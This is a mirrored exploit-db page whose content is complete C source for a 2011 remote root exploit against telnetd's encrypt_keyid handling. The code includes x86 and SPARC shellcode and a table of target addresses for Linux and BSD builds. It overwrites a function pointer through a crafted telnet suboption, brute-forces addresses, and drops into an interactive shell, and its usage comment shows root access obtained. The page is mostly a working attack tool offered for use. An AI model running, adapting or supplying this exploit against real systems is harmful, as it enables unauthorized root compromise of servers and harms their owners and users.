TelnetD encrypt_keyid – Function Pointer Overwrite

  • 作者: NighterMan & BatchDrake
    日期: 2011-12-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18280/
  • /***************************************************************************
     *telnetd-encrypt_keyid.c
     *
     *Mon Dec 26 20:37:05 CET 2011
     * 
     *Copyright2011Jaime Penalba Estebanez (NighterMan)
     *Copyright2011Gonzalo J. Carracedo (BatchDrake)
     * 
     *nighterman@painsec.com - jpenalbae@gmail.com
     *BatchDrake@painsec.com - BatchDrake@gmail.com
     *
     *________________
     */__/ /_/ /_____/
     * //_/ /______________\\_____________
     */___ / __/ / __/\\/ _ \/__/
     * // / /_/ / / / / /___//__//__
     *____/__/____\__,_/_/_/ /_/______/\___/\____/____
     *
     *
     ****************************************************************************/
    
    /*
     * 
     * Usage:
     * 
     * $ gcc exploit.c -o exploit
     * 
     * $ ./exploit 127.0.0.1 23 1
     * [<] Succes reading intial server request 3 bytes
     * [>] Telnet initial encryption mode and IV sent
     * [<] Server response: 8 bytes read
     * [>] First payload to overwrite function pointer sent
     * [<] Server response: 6 bytes read
     * [>] Second payload to triger the function pointer
     * [*] got shell?
     * uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
     * 
     */
    
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    
    
    /*
     * Most of the inetd impletantions have a connection limit per second
     * so you must chage this if you start getting errors reading responses
     *- for 60 conex per min900000
     *- for 40 conex per min 1500000
     *- for no limit 300000 should work
     */
    #define BRUTE_TOUT 300000
    
    
    
    #define MAXKEYLEN 64-1
    
    struct key_info
    {
    unsigned char keyid[MAXKEYLEN];
    unsigned char keylen[4];
    unsigned char dir[4];
    unsigned char modep[4];
    unsigned char getcrypt[4];
    };
    
    struct target_profile
    {
    uint32_tskip;
    const char*address;
    const char*desc;
    const char*shellcode;
    
    };
    
    
    /* Shellcode FreeBSD x86 */
    const char s_bsd32[] =
     "\x31\xc0"// xor%eax,%eax
     "\x50"// push %eax
     "\xb0\x17"// mov$0x17,%al
     "\x50"// push %eax
     "\xcd\x80"// int$0x80
     "\x50"// push %eax
     "\x68\x6e\x2f\x73\x68"// push $0x68732f6e
     "\x68\x2f\x2f\x62\x69"// push $0x69622f2f
     "\x89\xe3"// mov%esp,%ebx
     "\x50"// push %eax
     "\x54"// push %esp
     "\x53"// push %ebx
     "\x50"// push %eax
     "\xb0\x3b"// mov$0x3b,%al
     "\xcd\x80"; // int$0x80
    
    /* Shellcode Linux x86 */
    const char s_linux32[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";
    
    
    /* Shellcode Linux sparc */
    const char s_linuxsparc[] = "\x2d\x0b\xd8\x9a"/* sethi %hi(0x2f626800), %l6 */
    "\xac\x15\xa1\x6e"/* or %l6, 0x16e, %l6 */
    "\x2f\x0b\xdc\xda"/* sethi %hi(0x2f736800), %l7 */
    "\x90\x0b\x80\x0e"/* and %sp, %sp, %o0*/
    "\x92\x03\xa0\x08"/* add %sp, 0x08, %o1 */
    "\x94\x22\x80\x0a"/* sub %o2, %o2, %o2*/
    "\x9c\x03\xa0\x10"/* add %sp, 0x10, %sp */
    "\xec\x3b\xbf\xf0"/* std %l6, [ %sp + - 16 ]*/
    "\xd0\x23\xbf\xf8"/* st %o0, [ %sp + - 8 ]*/
    "\xc0\x23\xbf\xfc"/* clr [ %sp + -4 ] */
    "\x82\x10\x20\x3b"/* mov 0x3b, %g1*/
    "\x91\xd0\x20\x10"; /* ta 0x10*/
    
    
    
    /* Valid targets list */
    struct target_profile targets[] =
    {
    {20, "\x00\x80\x05\x08", "Generic Linux i386 bruteforce", s_linux32},
    {20, "\x00\x80\x05\x08", "Generic BSD i386 bruteforce", s_bsd32},
    {20, "\x23\xcc\x05\x08", "Ubuntu GNU/Linux 10.04, Inetutils Server (i386)", s_linux32},
    {20, "\x12\xc9\x05\x08", "Ubuntu GNU/Linux 10.04, Heimdal Server (i386)", s_linux32},
    {20, "\xef\x56\x06\x08", "Debian GNU/Linux stable 6.0.3, Inetutils Server (i386)", s_linux32},
    {20, "\x56\x9a\x05\x08", "Debian GNU/Linux stable 6.0.3, Heimdal Server (i386)", s_linux32},
    {1,"\x00\x03\xe7\x94", "Debian GNU/Linux stable 6.0.3 Inetutils (SPARC)", s_linuxsparc},
    {3,"\x00\x03\x2e\x0c", "Debian GNU/Linux stable 6.0.3 Heimdal Server (SPARC)", s_linuxsparc},
    {20, "\xa6\xee\x05\x08", "FreeBSD 8.0 (i386)", s_bsd32},
    {20, "\xa6\xee\x05\x08", "FreeBSD 8.1 (i386)", s_bsd32},
    {20, "\xed\xee\x05\x08", "FreeBSD 8.2 (i386)", s_bsd32},
    {20, "\x02\xac\x05\x08", "NetBSD 5.1 (i386)", s_bsd32},
    
    {0, NULL, NULL, NULL}
    };
    
    
    
    /* Telnet commands */
    static unsigned char tnet_init_enc[] = 
    "\xff\xfa\x26\x00\x01\x01\x12\x13"
    "\x14\x15\x16\x17\x18\x19\xff\xf0";
    
    static unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07";
    
    static unsigned char tnet_end_suboption[] = "\xff\xf0";
    
    
    /* Check if the shellcode worked, slightly simpler than shell (int) */
    static int
    checkmagic (int fd)
    {
    char got[32];
    
    if (write (fd, "echo pikachu\n", 13) < 0)
    return -1;
    
    if (read (fd, got, 32) <= 0)
    return -1;
    
    return -!strstr (got, "pikachu");
    }
    
    
    /*
     * shell(): semi-interactive shell hack
     */
    static void shell(int fd)
    {
    fd_setfds;
    chartmp[128];
    int n;
    
    /* check uid */
    write(fd, "id\n", 3);
     
    /* semi-interactive shell */
    for (;;) {
    FD_ZERO(&fds);
    FD_SET(fd, &fds);
    FD_SET(0, &fds);
     
    if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
    perror("select");
    break;
    }
     
    /* read from fd and write to stdout */
    if (FD_ISSET(fd, &fds)) {
    if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
    fprintf(stderr, "Goodbye...\n");
    break;
    }
    if (write(1, tmp, n) < 0) {
    perror("write");
    break;
    }
    }
     
    /* read from stdin and write to fd */
    if (FD_ISSET(0, &fds)) {
    if ((n = read(0, tmp, sizeof(tmp))) < 0) {
    perror("read");
    break;
    }
    if (write(fd, tmp, n) < 0) {
    perror("write");
    break;
    }
    }
    }
    }
    
    
    static int open_connection(in_addr_t dip, int dport)
    {
     int pconn;
     struct sockaddr_in cdata;
     struct timeval timeout;
    
     /* timeout.tv_sec= _opts.timeout; */
     timeout.tv_sec= 8;
     timeout.tv_usec = 0;
    
     /* Set socket options and create it */
     cdata.sin_addr.s_addr = dip;
     cdata.sin_port = htons(dport);
     cdata.sin_family = AF_INET;
    
     pconn = socket(AF_INET, SOCK_STREAM, 0);
     
     if( pconn < 0 )
     {
    printf("Socket error: %i\n", pconn);
    printf("Err message: %s\n", strerror(errno));
    return (-1);
     }
    
     /* Set socket timeout */
     if ( setsockopt(pconn, SOL_SOCKET, SO_RCVTIMEO,
     (void *)&timeout, sizeof(struct timeval)) != 0)
    perror("setsockopt SO_RCVTIMEO: ");
     
     /* Set socket options */
     if ( setsockopt(pconn, SOL_SOCKET, SO_SNDTIMEO,
     (void *)&timeout, sizeof(struct timeval)) != 0)
    perror("setsockopt SO_SNDTIMEO: ");
    
    
     /* Make connection */
     if (connect(pconn,(struct sockaddr *) &cdata, sizeof(cdata)) != 0)
     {
    close(pconn);
    return -1;
     }
     
     return pconn;
    }
    
    
    
    static void usage(char *arg)
    {
    int x = 0;
    
    printf(" ________________\n");
    printf(" /__/ /_/ /_____/\n");
    printf("//_/ /______________\\\\_____________\n");
    printf(" /___ / __/ / __/\\\\/ _ \\/__/\n");
    printf("// / /_/ / / / / /___//__//__\n");
    printf(" ____/__/____\\__,_/_/_/ /_/______/\\___/\\____/____\n");
    printf(" ---------------- www.painsec.com ---------------\n\n");
    printf("(c) NighterMan & BatchDrake 2011, almost 2012\n");
    printf("OH MY GOD WE ARE ALL ABOUT TO DIE\n\n");
    printf("Available Targets:\n\n");
    
    
    /* print tagets */
    while(targets[x].address != NULL) {
    printf("%2i: %s\n", x + 1, targets[x].desc);
    x++;
    }
    
    printf("\n");
    printf("Telnetd encrypt_keyid exploit\n");
    printf("Usage: %s [ip] [port] [target]\n\n", arg);
    }
    
    
    int
    attack (const char *ip, unsigned int port,
    unsigned char *payload, unsigned int psize, int tryshell)
    {
    unsigned char readbuf[256];
    int ret;
    int conn;
     
    /* Open the connection */
    conn = open_connection(inet_addr(ip), port);
    if (conn == -1) {
    printf("Error connecting: %i\n", errno);
    return -1;
    }
    
    /* Read initial server request */
    ret = read(conn, readbuf, 256);
    
    if (ret <= 0)
    {
    printf ("[!] Error receiving response: %s\n", 
    ret ? strerror (errno) : "empty response");
    close (conn);
    return -1;
    }
    
    printf("[<] Succes reading intial server request %i bytes\n", ret);
    
    /* printf("ATTACH DEBUGGER & PRESS KEY TO CONITNUE\n"); */
    /* ret = getchar(); */
    
    /* Send encryption and IV */
    ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc));
    if (ret != sizeof(tnet_init_enc)) {
    printf("Error sending init encryption: %i\n", ret);
    close (conn);
    return -1;
    }
    printf("[>] Telnet initial encryption mode and IV sent\n");
    
    /* Read response */
    if ((ret = read(conn, readbuf, 256)) == -1 && errno == EAGAIN)
    {
    printf ("[!] Timeout when receiving response\n");
    close (conn);
    return -1;
    }
    else
    printf("[<] Server response: %i bytes read\n", ret);
    
    /* Send the first payload with the overflow */
    ret = write(conn, payload, psize);
    if (ret != psize) {
    printf("Error sending payload first time\n");
    close (conn);
    return -1;
    }
    printf("[>] First payload to overwrite function pointer sent\n");
    
    /* Read Response */
    if ((ret = read(conn, readbuf, 256)) == -1 && errno == EAGAIN)
    {
    printf ("[!] Timeout when receiving response\n");
    close (conn);
    return -1;
    }
    else
    printf("[<] Server response: %i bytes read\n", ret);
    
    
    /* Send the payload again to tigger the function overwrite */
    ret = write(conn, payload, psize);
    if (ret != psize) {
    printf("Error sending payload second time\n");
    close (conn);
    return -1;
    }
    printf("[>] Second payload to triger the function pointer\n");
    
    if (tryshell)
    {
    /* Start the semi interactive shell */
    printf("[*] got shell?\n");
    shell(conn);
    
    ret = 0;
    }
    else
    {
    printf ("[*] Does this work? ");
    
    /* Just check if it works */
    
    if (checkmagic (conn) == 0)
    {
    printf ("YES!!!\n");
    printf ("Add the Target address to the targets list & recomple!!!\n");
    ret = 0;
    }
    else
    {
    printf ("nope :(\n");
    ret = -1;
    }
    }
    
    close (conn);
    
    return ret;
    }
    
    
    int main(int argc, char *argv[])
    {
    int offset = 0;
    int target;
    int i;
    unsigned int address;
    
    /* Payload Size */
    int psize = (sizeof(struct key_info) + 
    sizeof(tnet_option_enc_keyid) + 
    sizeof(tnet_end_suboption));
    
    struct key_info bad_struct;
    unsigned char payload[psize];
    
    if ( argc != 4) {
    usage(argv[0]);
    return -1;
    }
    
    /* Fill the structure */
    memset(&bad_struct, 0x90, sizeof(struct key_info));
    memcpy(bad_struct.keylen, "DEAD", 4);
    memcpy(bad_struct.dir,"BEEF", 4);
    
    target = atoi(argv[3]) - 1;
    /* Target selection */
    struct target_profile *t;
    t = &targets[target];
    printf("Target: %s\n\n", t->desc);
    
    for (i = 0; !i || target < 2; i++)
    {
    offset = 0;
    memcpy(&bad_struct.keyid[t->skip], t->shellcode, strlen(t->shellcode));
    memcpy (&address, t->address, 4);
    
    address += ((i + 1) >> 1) * (t->skip - 1) * (1 - ((i & 1) << 1));
    printf ("[*] Target address: 0x%04x\n", address);
    
    memcpy(bad_struct.modep, &address, 4); /* Readable address */
    memcpy(bad_struct.getcrypt, &address, 4); /* Function pointer */
     
    /* Prepare the payload with the overflow */
    memcpy(payload, tnet_option_enc_keyid, sizeof(tnet_option_enc_keyid));
    offset += sizeof(tnet_option_enc_keyid);
    memcpy(&payload[offset], &bad_struct, sizeof(bad_struct));
    offset += sizeof(bad_struct);
    memcpy(&payload[offset], tnet_end_suboption, sizeof(tnet_end_suboption));
    
    if (attack (argv[1], atoi (argv[2]), payload, psize, target >= 2) == 0)
    break;
    
    usleep (BRUTE_TOUT);
    }
    
    return 0;
    }